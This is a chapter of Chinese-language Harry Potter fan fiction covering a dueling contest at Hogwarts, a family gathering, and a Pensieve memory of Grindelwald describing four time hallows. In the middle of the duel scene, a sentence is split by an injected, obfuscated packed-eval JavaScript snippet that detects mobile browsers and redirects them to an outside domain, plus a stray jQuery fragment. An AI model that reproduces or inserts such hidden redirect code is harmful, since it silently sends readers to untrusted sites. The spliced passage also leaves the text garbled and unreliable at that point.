格兰芬多观众区爆发出震耳欲聋的欢呼声,一个棕发女孩自信地走上决斗台。 “艾伦娜,加油!”有人高喊道,“那是我们的替补击球手!” 拉文克劳那边也不甘示弱。佩内洛·克里瓦特昂首挺胸地走上决斗台,金色的卷发整齐地扎成马尾辫,气势丝毫不输对手。 “给她点颜色看看,佩内洛!”拉文克劳的学生们大声为她鼓劲。 小天狼星身旁,一个格兰芬多的男生也在扯着嗓子高喊:“加油,佩内洛!你是最棒的!” 他刚怀疑自己是不是误入了拉文克劳的阵营,就听到韦斯莱家的双胞胎气愤地喊道: “珀西,你这个叛徒!”其中一个瞪着哥哥,“你是格兰芬多的级长,居然不支持自己学院!” “就是!”另一个立刻附和,“爱情蒙蔽了你的双眼!” 珀西的耳朵红了,却仍然倔强地挥舞着拳头,继续为女朋友加油。 决斗台上,两个女孩互相鞠躬致意。哈利举起手,干脆地宣布道: “预备——开始!” 双方迅速展开决斗。艾伦娜灵活敏捷,把魁地奇赛场的战术用到了决斗台上;而佩内洛则冷静应对,使用咒语稳步压缩艾伦娜的活动空间。 “拉文克劳的脑子,”莉莉低声评价,“用智慧对抗体力。” 就在形势看似明朗之际,艾伦娜忽然施展出一道烟幕咒,瞬间迷惑了佩内洛。片刻之后,佩内洛的魔杖便脱手飞出,稳稳落入艾伦娜手中。 “获胜者,艾伦娜·斯宾塞!”哈利高声宣布。 格兰芬多的欢呼声立刻席卷整个礼堂。艾伦娜兴奋地跳起来,向观众们挥手致意,佩内洛则大方地与她握手示好。 评委们纷纷举起魔杖,金色的数字在空中显现: 弗立维:8分 詹姆斯:9分 邓布利多:9分 “为什么还要评分?”小天狼星看着那些漂浮的数字,“不是赢了就行吗?” “你没听哈利刚刚解释吗?”卢平耐心地说道,“评分累计用于学院加分和其它奖项。这是为了鼓励选手更好地展示技巧,即便是输了的学生,只要表现出色,也能为学院赢得荣誉。” “还能避免比赛变成单纯的输赢对抗,”莉莉也微笑补充了一句,“你看——” 果然,当输掉比赛的佩内洛得到评委平均七分时,拉文克劳那边立刻爆发出热烈的掌声,丝毫不输给格兰芬多。 “做得不错。”台上的哈利认真地对两人说道,“佩内洛,你的战术构思很巧妙,但要更快地适应对手的变化。艾伦娜,烟幕咒用得很精彩,但别过度依赖单一战术。” 两名女孩都认真地点头,再次友好地握了握手,然后先后走下决斗台。 开场的决斗已经足够精彩,接下来的几场比赛更是各具特色。 一名六年级的拉文克劳男生颇有创意,居然在决斗台上用障碍咒搭建出一座迷你迷宫,把他的斯莱特林对手困得团团转。虽然最后因为时间限制没能取胜,但他的创意依然得到了评委们一致的赞赏。也有选手因为过于紧张出现了失误——一名赫奇帕奇的女生念错了咒语,魔杖尖端冒出了一串五颜六色的泡泡。尽管如此,她依旧获得了评委平均五分的鼓励。 “这样的分数可真够宽容的。”小天狼星撇了撇嘴,低声对卢平说道。 另一场两个格兰芬多学生的比赛则完全变了风格。他们很快就打得忘乎所以,竟然在决斗台上互相追逐起来。场面从最初的紧张刺激,迅速变成了全场观众的笑料。两个年轻人边跑边扔咒语,场面一度混乱,最后可能是跑累了,干脆一起魔力耗尽瘫倒在地,逼得哈利不得不宣布这场比赛以平局收场。 当然,最受人瞩目的还是塞德里克·迪戈里的比赛。 当这个四年级学生的名字被叫到时,整个赫奇帕奇都沸腾了。作为今天最年轻的参赛选手,这个英俊的男孩脸上带着谦和的微笑,步伐沉稳镇定,看起来丝毫不显紧张。 “加油,塞德里克!”赫奇帕奇的学生们齐声呐喊,黄黑色的旗帜疯狂挥动着。格兰芬多和拉文克劳的学生也纷纷加入了助威的行列。 相比之下,斯莱特林的弗林特出场却是另一番景象。他高大的身躯几乎占据了决斗台的一半,每一步都重重地踏下,嘴角还挂着一丝狰狞的笑容。 “碾碎他,弗林特!”斯莱特林的学生齐声大喊。 小天狼星微微眯起眼睛,好奇地打量着台上的赫奇帕奇男孩:“这不是阿莫斯的儿子吗?才四年级?胆子倒是挺大,怎么没被分进格兰芬多?” 卢平耸耸肩,似笑非笑地瞥了小天狼星一眼:“赫奇帕奇的忠诚和善良,并不比我们学院的勇气逊色,尤其是当某些格兰芬多太过鲁莽的时候。” 两个男孩在台上相对而立。弗林特居高临下地俯视着塞德里克,嘴角挂着不怀好意的笑:“这可不是魁地奇比赛,现在认输还来得及,免得一会儿哭鼻子。” 塞德里克礼貌地回以微笑:“谢谢提醒,但我还是想试试。” “找死。”弗林特恶狠狠地咕哝了一句。 “准备——”哈利举起手,“开始!” 弗林特的第一道昏迷咒来得又快又狠,红光撕裂空气,带着呼啸声直奔塞德里克面门。但年轻的赫奇帕奇早有准备,灵巧地一侧身躲开,同时还击了一道缴械咒。 弗林特不屑地扬起魔杖,施展铁甲咒轻易挡下,然后便展开了暴风骤雨般的连续攻击。昏迷咒、障碍咒接连不断地射出,每一咒都挟着十足的力量,似乎要用纯粹的力量彻底压倒对手。 塞德里克不断移动躲闪,偶尔用铁甲咒抵挡,看起来完全处于下风。弗林特的经验和力量优势太明显了,每一次攻击都让塞德里克的活动空间更小一分。 “他撑不了多久的。”小天狼星皱眉说。 “别太早下结论。”卢平目光专注地盯着台上的塞德里克。 确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156459|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,虽然处于劣势,但塞德里克眼睛里没有慌乱。他似乎正在观察着什么,等待着某个时机。 就在弗林特再次挥出一道昏迷咒时,塞德里克的动作忽然改变了。他没有像之前一样躲闪,而是迎了上去—— “障碍重重!” 这个障碍咒的角度很特别,不是直接阻挡昏迷咒,而是打在决斗台的地面上。咒语的冲击让地面微微震动,扬起了一片尘土。 弗林特的昏迷咒穿过尘土,但塞德里克已经不在原地了。他利用尘土的掩护快速移动到侧面,同时第二个咒语出手—— 这次依然是障碍咒,目标是弗林特的脚下。 大个子完全没有察觉脚下的变化,正当他准备转身寻找对手的踪迹时,右脚忽然被无形的障碍绊了一下,失去了平衡—— “除你武器!” 塞德里克的缴械咒精准无误地击中了弗林特持杖的手腕。魔杖高高飞起,在空中划出一道漂亮的弧线。 全场静了一秒。 “获胜者,”哈利大声宣布,“塞德里克·迪戈里!” 片刻的安静之后,除了斯莱特林外,礼堂中所有人都爆发出了热烈而持久的欢呼声。学生们跳着脚欢呼,疯狂挥舞着手中的旗帜,掌声和口哨声响彻了整个礼堂。 “他做到了!” “四年级打败了七年级!” “太棒了,塞德里克!” 弗林特站在原地,脸色从红变白,又从白变青。他不敢置信地看着自己空空的手,又看看手里拿着两根魔杖的塞德里克,气得浑身发抖。 塞德里克走上前,彬彬有礼地把魔杖递还给弗林特。后者粗暴地一把夺过,恶狠狠地瞪了他一眼,扭头大步走下决斗台。 评委们随后的评分将气氛彻底推向高潮: 弗立维:10分 詹姆斯:9分 邓布利多:10分 “满分!”有人尖叫道,“弗立维教授和邓布利多教授给了满分!” “干得漂亮!”小天狼星由衷地鼓掌,“时机抓得太好了!” “确实出色,”卢平赞同地点点头,“塞德里克的战术非常聪明,他一早看穿了弗林特的攻击方式,耐心等待机会,才一击制胜。” “四年级就有这样的战斗智慧,”莉莉也赞叹不已,“实在难得。” 比赛继续进行,最终格兰芬多七年级的安东尼·戈德斯坦赢下决赛,获得冠军。但全场MVP毫无争议地颁给了赫奇帕奇的塞德里克。 学生们兴奋地三三两两走出礼堂,热烈地讨论着刚刚的比赛,很明显,这场精彩的决斗比赛会成为他们未来一段时间里津津乐道的话题。 “等等!”小天狼星猛地一拍额头,“我的赌注!” 他迅速挤过人群奔向韦斯莱双胞胎的摊位,没多久便得意洋洋地晃着装满加隆的钱袋回来了:“三十个加隆!看来那两个小鬼今天赚得不少。” 哈利也走了过来,脸上还带着主持比赛后的兴奋,额头上渗着薄薄的汗珠:“今天的比赛真精彩。学生们的表现比我预期的还要好。” “你做得也很好。”莉莉温柔地说道,她伸出手似乎想帮哈利整理一下额前凌乱的黑发,但手抬到一半又微微犹豫了一下,转为搭在了他的肩膀上,“筹备这些事情,你一定很辛苦。” 詹姆斯也从评委席上下来了,神色明显轻松不少。他走到哈利身边,拍了拍哈利的肩膀:“很精彩的比赛。你的防护咒设计得很巧妙,尤其是那个双层结构的设计,是你自己想出来的吗?” 哈利微微愣了一下,随即露出一个开心的笑容:“是的,我参考了一些古代决斗场的原理,又自己做了些改进。” “很有创意,”詹姆斯认真地夸奖,“比魔法部那套标准防护阵灵活不少。你在防御魔法上确实很有天赋。” 哈利的笑容更加明亮了,小天狼星看着这一幕,心里涌起一阵欣慰:詹姆斯这个别扭的家伙,总算是在努力了,虽然方式还有些僵硬,但已经有了很大的进步。 “要不要去我办公室坐坐?”哈利提议,“我那里有茶和饼干。我是说,既然时间还早……” “当然。”詹姆斯第一个点头答应了下来。 —————— 他们跟着哈利穿过渐渐安静下来的走廊。一路上遇到不少学生,都主动朝着“佩弗利尔教授”问好,还有几个格兰芬多女生偷偷瞄他几眼,然后捂着嘴笑着跑开了。 “看来很受欢迎嘛。”小天狼星意味深长地冲哈利挤了挤眼。 哈利无奈地摇摇头:“你就别再取笑我了。” “年轻、英俊,还有才能,”莉莉也带着微笑打趣道,“难怪这么受欢迎。” 哈利的脸明显红了些,不自在地小声求饶:“妈……” 看到哈利一脸窘迫的样子,小天狼星和其他人都忍不住笑出声来。 墙上的肖像画也兴奋地议论着刚刚的比赛。有几幅画像认出了他们,热情地挥手打招呼。 “是波特和布莱克!”一个戴着尖顶帽的老巫师大声嚷道,“我记得你们,当年可没少给我们找麻烦!” “三楼那个沼泽走廊!简直是噩梦!”另一幅女巫画像尖叫道,“我被困在里面整整一个星期!” 小天狼星毫不在意地朝他们眨眨眼,漫不经心地挥了挥手:“那只是为了活跃一下气氛,你们不也玩得很开心吗?” “开心?”几幅画像同时抗议。 “过去的事就别再提了吧。”詹姆斯的耳朵却红了起来,在哈利面前被提起年少时的荒唐事似乎让他有些难为情。 “什么沼泽走廊?”哈利好奇地问。 “哦,这个说来话长,”卢平毫不留情地开始揭老底,“好像是五年级的时候?詹姆斯绞尽脑汁想给莉莉一个惊喜。惊喜确实有,就是效果可能和他最初想的不太一样。” “月亮脸!”詹姆斯警告地瞪了他一眼。 但卢平不为所动,继续说道:“他当时打算在莉莉生日那天,把整条走廊变成玫瑰长廊。” “听起来倒是很浪漫。”哈利评价道。 “想法确实挺浪漫,”莉莉微笑着插话,但语气里充满了讽刺,“如果他和小天狼星没有把咒语搞错的话。” “结果整条走廊从墙面到地面全部变成了沼泽。”卢平憋着笑解释,“画像们都陷在了沼泽里,最后只能全挤到走廊尽头仅剩的几幅画里避难。你能想象二十多个人挤在一幅小画像里的场景吗?” 哈利似乎是想象了一下,顿时笑出了声。 “胖夫人气得差点没让我们回格兰芬多塔。”莉莉补充着,语气倒是并没有责怪,更多的是无奈和怀念,“那时候我真觉得他们两个就是彻头彻尾的自大狂,总想出风头,从来没考虑过会给别人带来多少麻烦。” “莉莉!”詹姆斯满脸通红地低声抗议了一句。 “好了好了,我俩最后不也被罚了一个月禁闭。”小天狼星赶紧打圆场,“过去的事就让它过去吧。” 大家又笑了一阵,很快便走到了黑魔法防御术办公室。 办公室里被哈利布置得既实用又温馨。小天狼星早就在窗外偷看过,所以一进门便毫不客气地占据了最舒服的那把扶手椅,像只慵懒的大狗一样陷进柔软的垫子里。 “不错嘛。”莉莉环顾四周,满意地点点头。 哈利挥了挥魔杖,茶壶自动飞起,给每个人倒上了热茶。 “莱姆斯,约克郡的情况如何?”哈利一边招呼众人坐下,一边开口问道。 卢平接过茶杯,神色变得凝重了些:“目前还算平静,狼人们没有明显的集结迹象。不过,我那几位老朋友毕竟还是比较信任我的,一旦有什么异常,他们会立刻通知我。” “芬里尔·格雷伯克还在那里?”詹姆斯皱眉问道。 “是的,”卢平点头,“所以我没敢深入太多,那里毕竟是他的地盘。” 话音刚落,门外突然响起了敲门声。哈利走过去打开门,一个熟悉的小脑袋探了进来。是泰迪,他的头发现在呈现出温暖的蜂蜜色,脸上带着一丝不太好意思的神情。 “泰迪?”哈利显然有些惊讶,“你怎么来了?不是应该和罗恩他们在一起吗?我以为你们会去庆祝格兰芬多的胜利呢。” 泰迪脸颊泛起一层红晕,低声说:“我……想爸爸了。” 他说着便走进房间,目光扫过在座的几个人,礼貌地跟大家打招呼:“小天狼星,莉莉阿姨,还有……波特先生。” 詹姆斯明显愣了一下,“你可以叫我詹姆斯叔叔,泰迪。” 泰迪意外地睁大了眼睛,脸上迅速绽开一个欣喜的笑容:“好的,詹姆斯叔叔。” 他下意识地回头望了父亲一眼,见卢平正微笑着朝他张开双臂,立刻扑进父亲的怀里,紧紧抱住了他。 “我也很想你,泰迪。”卢平温声说道,手温柔地抚摸着儿子的头发。 其他人都默契地安静下来,给这对父子一些难得的亲密时刻。小天狼星偷偷瞄了一眼身旁的詹姆斯,发现好友正专注地望着卢平父子俩,脸上好像带着些羡慕的神色。 于是他用手肘轻轻地捅了詹姆斯一下,朝哈利的方向努了努嘴,用口型说:“你也可以。” 詹姆斯没好气地用胳膊肘撞了回来,低声道:“滚开,大脚板。”他端起茶杯掩饰自己不自在的神情,但耳朵却明显地红了起来。 莉莉对哈利的办公室似乎很感兴趣,一直在打量着四周,目光很快落在桌上的相框上。第一个相框里是哈利和泰迪的合影:泰迪骑在哈利肩上,头发在照片里不断变换颜色,两人都开怀大笑,纯粹的快乐几乎要从相框里溢出来。 她起身拿起那张照片仔细端详着,嘴角不自觉地扬起温柔的笑容:“这张照片拍得真好。” “啊!这张是一年级时在黑湖边拍的!”泰迪从父亲怀里抬起头,兴奋地指着照片,“我记得那一天!” “你还记得当时你第一次成功变出鸟嘴吗?”哈利走过来笑道,“拍照的时候,你差点从我肩膀上摔下来。” 泰迪顿时红了脸,小声辩解道:“那只是个意外!我当时只是太兴奋了……”他羞得连忙低下头,把脸重新埋回了父亲怀里。 众人闻言都笑了起来。 莉莉微笑着将照片放回桌上,目光随意地扫过旁边另一个相框,动作微微一顿。那个相框表面好像蒙着一层薄雾,里面隐约有模糊的光影在流动,看不清具体是什么。 哈利略一迟疑,拿起魔杖轻轻一点,解除魔法时神色有些犹豫:“我知道可能有点冒险……但我还是希望把它放在能被看到的地方。” 相框上的雾气逐渐散去,一张完整的照片呈现在众人眼前——那是一张全家福,詹姆斯、莉莉、小天狼星、哈利,以及襁褓中的黛西。照片是在那个晚餐后拍的,每个人都努力露出了笑容,虽然詹姆斯的手僵硬地搭在哈利肩膀上,看起来多少有些不自然。 房间里一时间安静下来。莉莉伸手轻轻抚过相框的边缘,绿眼睛里明显泛起了水光。 “哇!”泰迪这时重新抬头望过来,好奇地惊叹道,“这张照片是什么时候拍的?黛西好小啊,简直像个小天使!” “拍得确实不错。”詹姆斯轻咳一声,眼神略显尴尬,“虽然我看起来像块僵硬的木头。” “我可是提醒过你的!”小天狼星毫不客气地评价道。 众人忍俊不禁。气氛缓和下来,他们又轻松地聊了一会儿,从刚刚比赛的精彩瞬间,聊到泰迪最近堆成小山的那堆作业。但随着窗外天色渐渐暗了下来,泰迪也回去找他的小伙伴们了,房间里的成年人们不可避免地谈到了今晚的真正主题。 “邓布利多今晚召集我们,”詹姆斯收起脸上的轻松,目光在哈利身上停留了一会儿,“是和那天你提到的事情有关吗?” 莉莉和卢平交换了一个疑惑的眼神——他们显然并不清楚“那天”指的是什么。 “是的。”哈利放下手中的茶杯,“关于格林德沃。” “格林德沃?”莉莉惊讶地抬头看着哈利,完全没料到会听到这个前黑魔王的名字,“你是说盖勒特·格林德沃?他不是一直关在纽蒙迦德吗?” “他不仅没被关在里面,还专门把哈利叫去见了一面。”小天狼星皱着眉,忍不住又问,“那个家伙究竟跟你说了些什么?” 哈利沉默了一会儿,原本明亮的绿眼睛里黯淡了几分,肩膀微微垂下。他的疲惫几乎显而易见,整个房间的气氛顿时紧张起来。莉莉迅速走过去坐在哈利身旁,伸出手轻轻握住了他的手,安抚地看着他。 哈利对莉莉笑了下,才缓缓开口道:“他告诉了我很多事。我暂时无法确定每件事都是真的,但我想,他也没有必要特意骗我。” “和你与泰迪穿越时间的事有关吗?”卢平敏锐地问道。 哈利点点头,但没有详细解释。他抬头认真地环视房间里的每个人,“邓布利多认为,我应该把这件事的真相告诉你们。” 听他这么说,小天狼星的眉头皱得更深了。这话听上去,怎么像哈利一开始还打算将他们排除在外似的?他忍不住开口道:“当然你得告诉我们——” “因为我们是你的家人。”詹姆斯忽然打断了他的话。 这句话出现得太过突兀,让所有人都愣住了。詹姆斯似乎也对自己脱口而出的这句话有些意外,耳朵微微发红,可还是坚持看着哈利。 哈利明显怔了一下,那双与莉莉如出一辙的绿眼睛微微睁大。面对众人关切的目光,他嘴角浮现出一个真挚的笑容:“是的。因为我们是家人。” 122. 被改写的童话 小天狼星跟在哈利身后走进邓布利多的办公室,视线扫过房间时,一眼便看到了那个让他胸口发堵的身影。 斯内普正站在窗边,背对着门口。他的目光望着窗外,仿佛完全没注意到进来的几人。 小天狼星本能地握紧了拳头。这个鼻涕精怎么会在这儿? “西弗勒斯?”哈利看见斯内普也微微一怔,随即迈步走过去,语气轻松自然,“我还以为你不会来。” 斯内普侧过半个身子,目光在哈利脸上一掠而过。“改变主意还需要理由吗?”他低声说道,“况且,显然我之前忽略了一些……关键细节。” 哈利笑了笑,似乎理解他的意思,没有追问。他转而打量四周:“邓布利多呢?” 校长的座椅空空如也。福克斯在栖木上懒洋洋地梳理着羽毛,偶尔发出慵懒的啁啾声。墙上历任校长的画像装作打盹,却时不时地悄悄睁开眼,偷瞄着房间里的动静。 “等等——”小天狼星再也忍不住了。他向前一步,敌意毫不掩饰,“他为什么会在这里?今天可不是随便什么人都能来的吧?” 他的手在空中划了一个半圆,将詹姆斯、莉莉、卢平都圈了进去,“不应该只有我们这些——家人吗?”最后一个词他刻意加重了语气,试图将斯内普彻底排除在外。 哈利转头看向小天狼星,目光里带着歉意,却没有半点退让:“小天狼星,西弗勒斯是我叫来的。接下来要谈的事情,他必须知道。” 小天狼星眼睛顿时眯了起来,不由自主地又跨出一步——这混蛋究竟给哈利下了什么迷魂咒?可还没等他再有动作,詹姆斯就伸手按住了他的肩膀。 斯内普已经彻底转过身来。他盯着小天狼星,神情带着毫不掩饰的轻蔑,仿佛眼前只是一团令人厌烦的污渍。 “真感人的家庭聚会。”斯内普语气冷淡,“我倒是不知道,什么时候起,这个房间的准入资格归布莱克决定了。” 小天狼星差点挣脱詹姆斯的手。 “别冲动,大脚板。我们今天是来谈正事的。”詹姆斯手上加了几分力道,随即对斯内普生硬地点了点头,“斯内普教授。” “波特司长。”斯内普的回应同样简短,眼神像是在看一只特别无趣的甲虫,“管好你的看门犬,别让他对不该管的事乱叫。” “西弗勒斯。” 哈利只是轻轻叫了一声。仅仅叫了这么一个名字,斯内普的挑衅姿态却收敛了。他先是看了眼哈利,随后视线移向别处,好像重新对窗外的景色产生了兴趣。 小天狼星惊疑不定地在两人之间来回打量,脸上的怒意逐渐被狐疑取代。 “啊,看来大家都到了。” 邓布利多的声音从门口传来。他走进办公室,目光平静地扫过众人,似乎并未察觉屋里僵硬的气氛。他来到办公桌前站定,双手交叠在身前。 “你的担心我理解,小天狼星。”邓布利多望着他,语气一如既往地从容,“但西弗勒斯从哈利到达的第一天起就知道一切真相。在过去的两年里,他们在对抗伏地魔的行动中一直密切合作,他承担的风险不比任何人少。” 小天狼星刚要开口,邓布利多便抬起一只手。 “更重要的是,”校长停顿片刻,半月形眼镜后的蓝眼睛显得格外严肃,“今天你们即将听到的事,事关所有人的命运。西弗勒斯的到场并非请求,而是必要。” 办公室因为邓布利多的这句话而安静下来。小天狼星咬了咬牙,不甘不愿地把怒火咽了回去。 这时,一直站在门边的莉莉走了过来。她脸上带着温和的笑意,语气轻柔:“西弗勒斯。最近还好吗?” 斯内普的背脊不由自主地绷紧了。他迟疑了一下,黑眼睛在莉莉脸上掠过,随即迅速移开,避开了她的目光。 他最后十分克制地点了点头,挤出一个生硬的音节,“还好。”他没有多说什么,也始终没有与她对视,眼神几乎立刻滑向一旁。 莉莉似乎并没有察觉出什么异样,只是笑了笑,语气轻松地道:“那就好。等这里事情结束,找时间好好聊聊吧。” 说完,她便越过他,径直走到哈利身边,在他身旁站定。 卢平也走了过去,温和地向斯内普致意:“多谢你的药剂,斯内普教授。” 斯内普侧目看了他一眼,下巴略微扬起,语调一贯冷淡:“省下你的感谢,卢平。我只是需要一个现成的实验对象。” 卢平轻轻笑了一下,没再多说什么。 小天狼星把这一切都看在眼里,用手肘顶了顶身旁的詹姆斯,压低声音:“你干嘛拦我?上次那家伙干了些什么你难道忘了吗?” “我相信哈利的判断。”詹姆斯打断他的抱怨,又瞥了一眼莉莉,“而且莉莉也在这里。我们都有自己的生活了,大脚板。斯内普不会再做什么出格的事。” 小天狼星不以为然地翻了个白眼。他才不关心那些陈年旧事——他担心的是现在,是哈利!哈利对斯内普毫无保留的信任简直让人无法理解,他难道真的一点也感觉不到对方不怀好意? 就在他暗自琢磨时,邓布利多已走向办公室角落的黑色柜子。他打开柜门,取出一个石盆,将它放到桌子中央。 “冥想盆?”詹姆斯一眼认出那物品,眉头轻轻皱起,“我们要看什么记忆吗?可是阿不思,”他示意了一下冥想盆,“我们这里一共七个人,这个尺寸恐怕……” “你的观察力依旧敏锐,詹姆斯。”邓布利多隔着眼镜望着他,语气里透着些欣慰,“走出阴霾需要巨大的勇气。看到你重新找回自己,我由衷地高兴。” 詹姆斯抿了抿嘴,神色有些赧然。 “确实,冥想盆无法容纳这么多人同时进入。”邓布利多的手指轻触盆沿,“分批观看又过于麻烦。不过——”他的目光移向斯内普,“上次西弗勒斯记忆中的场景给了我一些启发。” “你是说那种记忆投射?”小天狼星立刻想起了那个场景。 “正是。”邓布利多点头,“不得不说,汤姆虽然选择了错误的道路,但我也必须承认,他在魔法创新方面确实天赋卓绝。经过一些改良,我们可以以更舒适的方式分享这段记忆。” 他转头看向哈利:“哈利,如果你准备好了?” 哈利已经走到冥想盆旁,举起魔杖抵住太阳穴。银色的记忆丝从杖尖抽出,轻柔地落进盆中,融入银光流转的液体里。 “这是我和格林德沃见面的记忆。”哈利简单解释,“具体来说,是他告诉我事情真相的那一段。” “哈利和我一致认为,”邓布利多补充,“只有亲眼目睹这段记忆,你们才会真正理解,我们的世界正面临怎样的危机。” 他举起魔杖指向冥想盆:“请大家再靠近一些。” 众人围成一个半圆。邓布利多魔杖轻轻挥动,冥想盆里的银色液体开始剧烈地颤动,随后化作丝丝缕缕的雾气升腾而出,在空中织出薄薄的帷幕,逐渐包围了所有人。 雾气涌动之中,小天狼星感觉脚下地面突然消失,整个人向前倾了一下。片刻后,视线重新清晰,他们已经站在一间昏暗破旧的石屋中。 昏暗的光线中,记忆中的哈利站在一个模糊的身影面前。对方的面孔笼罩在一层如雾的阴影里,看不清任何细节。即使如此,每个人都能感受到从他身上传来的压迫感——毫无疑问,他就是格林德沃。 “他的脸……”莉莉低声说着,下意识地朝詹姆斯身旁挪了挪。 卢平微微眯眼:“某种保护性的魔法?” “可能吧。”哈利站在他们身边,轻轻摇头,“我记得他的长相,但一抽出记忆就变成这样。他显然早有准备。” “装神弄鬼。”小天狼星不屑地哼了一声。 记忆中的对话已经开始。格林德沃讲述着“时间裂缝”的理论,房间里的空气随之凝重起来。 “时间真正崩塌时,不会惊天动地。” 格林德沃轻弹指尖,茶杯无声碎裂,变成细碎的粉末洒落在桌上,“它会像这杯子一样,悄然解体。” 在场的众人,无不被格林德沃所揭示的真相深深震撼,一时间鸦雀无声。 小天狼星感觉喉咙发干,不由自主地看向哈利。哈利一言不发地望着眼前这一幕,脸上没有任何表情,也许早就接受了这种可怕的可能。他刚要收回目光,却猛然发现斯内普的视线,并没有落在记忆里的画面上,反而是一直紧紧盯着哈利的侧脸。小天狼星心里陡然一沉,立刻强迫自己转开视线,不愿再细想下去。 “梅林啊……时间穿越会导致世界……”好一会儿,詹姆斯才沙哑地打破了这片沉寂。 “如果他说的是真的,”卢平若有所思,“我们所有人都逃不掉。” “前提是‘如果’,”斯内普忽然冷冷地开口,“别忘了讲这个故事的人是谁——盖勒特·格林德沃,第一代黑魔王。他善于制造恐慌,这些话能有多少可信度?” “那你怎么解释眼前这些?”小天狼星立刻反驳,“记忆碎片、伏地魔的反常、被改变的历史——这些难道都是碰巧?” 斯内普冷笑:“我没有义务满足你的好奇心,布莱克。” “我看你是回答不出来吧?你也只能嘴巴上逞能——” “够了!”两人的针锋相对被詹姆斯打断,“能不能看完再吵?” “先生们,请把注意力集中在眼前的记忆上。”邓布利多轻声提醒,“我们还有更重要的事情要听。” 记忆继续推进。当格林德沃拿出那张画着四个符号的羊皮纸时,所有人的注意力再次被牢牢吸引。 “而你,哈利·波特,”格林德沃的手指按在了其中一个类似拱门的符号上,语调沉稳,“已经亲身使用过其中一件了。” 记忆里的哈利盯住了那个符号,脸色一点点变白:“神秘事务司的拱门……你是说,那道帷幔竟然就是——” “雅努斯之门,也有人称之为‘时空拱门’。”格林德沃确认了他的猜测,“如你所知,死亡圣器有三件,掌控时间的圣器则有四件。时间圣器远比死亡圣器更加古老,也更接近魔法的本质。死亡只是终结,而时间……”他停顿了一下,“是万物的起点与归宿。” 所有人都屏住了呼吸。 记忆里的哈利显然在试图理解这些信息:“你是怎么知道这些的?我是说……我从没听说过什么时间圣器。” 他忽然抬起头:“难道你也用了时间圣器……” 格林德沃低低地笑了一声:“我亲爱的哈利,这个世界隐藏着远超你想象的秘密。我的姑婆,巴希达·巴沙特,曾是一位著名的魔法历史学家。你或许会惊讶于那些被时间掩埋的真相和知识,它们就藏在布满灰尘的旧书和无人问津的手稿里。” 他忽然换了个话题:“你读过《诗翁彼豆故事集》吗?” “当然,每个巫师小时候都读过。”哈利有些疑惑,“但这和我们讨论的东西有什么关系——” “那你一定记得《三兄弟传说》。”格林德沃的声音中流露出一丝奇特的愉悦,“死亡圣器的故事,被编成童话流传下来。” 哈利的表情从困惑变为恍然:“你是说……关于四个时间圣器的故事也藏在那本书里?就像三兄弟的传说一样?” “《穿越时间的四兄妹》。”格林德沃干脆地给出了答案。 哈利皱起眉头,“我知道这个故事……我给泰迪讲过,当睡前故事讲的。还有圣诞晚会,洛哈特用它排了一出舞台剧,我当时只觉得是巧合……” “世上没有那么多巧合。”格林德沃说,“尤其是涉及时间的事情。” “可是,等等——”哈利的困惑更深了,“说实话,我回到这个时间前,从没见过这个故事。我记得书里只有《好运泉》《巫师和跳跳埚》那些,根本没有什么四兄妹。” “那是因为在你的时代,”格林德沃的回应意味深长,“确实不存在这个故事。” “什么?” “是我把它加进去的。”格林德沃的话令围观记忆的每个人都愣住了。 “不可能!”小天狼星忍不住脱口而出,“他怎么可能做到——” “闭嘴,布莱克。”斯内普冷冷截断了他,自己的脸色却也变得难看。 记忆里的格林德沃还在继续,“当我得知你与泰迪·卢平意外穿越回这个时代后,我确保它会在那里,等着你去发现。” 卢平在听到泰迪的名字时微微一僵,嘴唇下意识地抿紧了些,平时沉稳的神情中掺杂着一丝隐约的忧虑。显然,他并不喜欢听到儿子的名字从格林德沃嘴里说出来。 詹姆斯注意到了卢平的异样,侧头看了他一眼,沉默地伸手拍了拍他的肩膀。 “穿越时间的四兄妹……”莉莉迟疑地说:“我对这个故事完全没有印象。你们有人记得吗?” “会不会是他改变了已经出版的书?”詹姆斯提出猜测。 “与其说是改变,”邓布利多语气沉重,“不如说是让它看起来从一开始就在那里。” 记忆中,格林德沃抬起右手,手指轻轻一动,一本书便从屋子深处飞出,稳稳落进他的掌心。 那正是一本《诗翁彼豆故事集》。这本书的书脊已经磨得不成样子,深蓝色的封面褪成了灰蓝,书页也有些残破卷曲,显然被无数次翻阅过。 他翻到某一页:“这个故事是真实存在的,只是以前从未被记载。它太久远了,比三兄弟的传说还要古老。在那个时代,巫师对时间的理解远比我们深入。” “我把它改写成童话,放进了你必然会接触的故事集中,好引起你的注意。”他的手指划过书页,“有时,把真相藏进童话反而最安全。” 格林德沃再次抬头:“你也确实注意到了——通过你的教子。孩子的直觉有时比成年人的理性更贴近真相。只不过,我高估了你的敏锐。你读了这个故事,却从未和你自身的经历联系到一起。” “泰迪……”哈利面露不安,“他说过想像故事里的四兄妹那样改变过去,让所有人幸福地生活下去。当时我只当成了孩子的幻想……” “幻想?”格林德沃低低地笑了一声,那笑意里有嘲讽也有怜悯,“你们回到这里之后,真的什么都没改变?那些本该消失的人,如今是不是依旧活在阳光下?” “那个孩子,他只是本能地看穿了故事 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“他的弟弟阿克瑞斯用一只魔法水瓶,盛满大海之水,再滴入记忆中的泪。”他的手指继续向下一处符号移动,“水是最古老的记忆载体,而眼泪则承载着灵魂的秘密。” “妹妹米拉制造了一面镜子,能映照出过去的景象,”他的手指停在第三个符号上,“那镜中所现,是她最渴望回去的时刻。” “最小的妹妹缪丝,”他的手指移向最后一个符号,“制作了一个八音盒,她用发条拨动时间,让它循环在固定的一刻。” “拱门、水瓶、镜子和八音盒。这四件物品便是四个时间圣器的真实形态。” 记忆中的哈利似乎陷入沉思,片刻后才低声道:“所以这四样圣器都真实存在?” 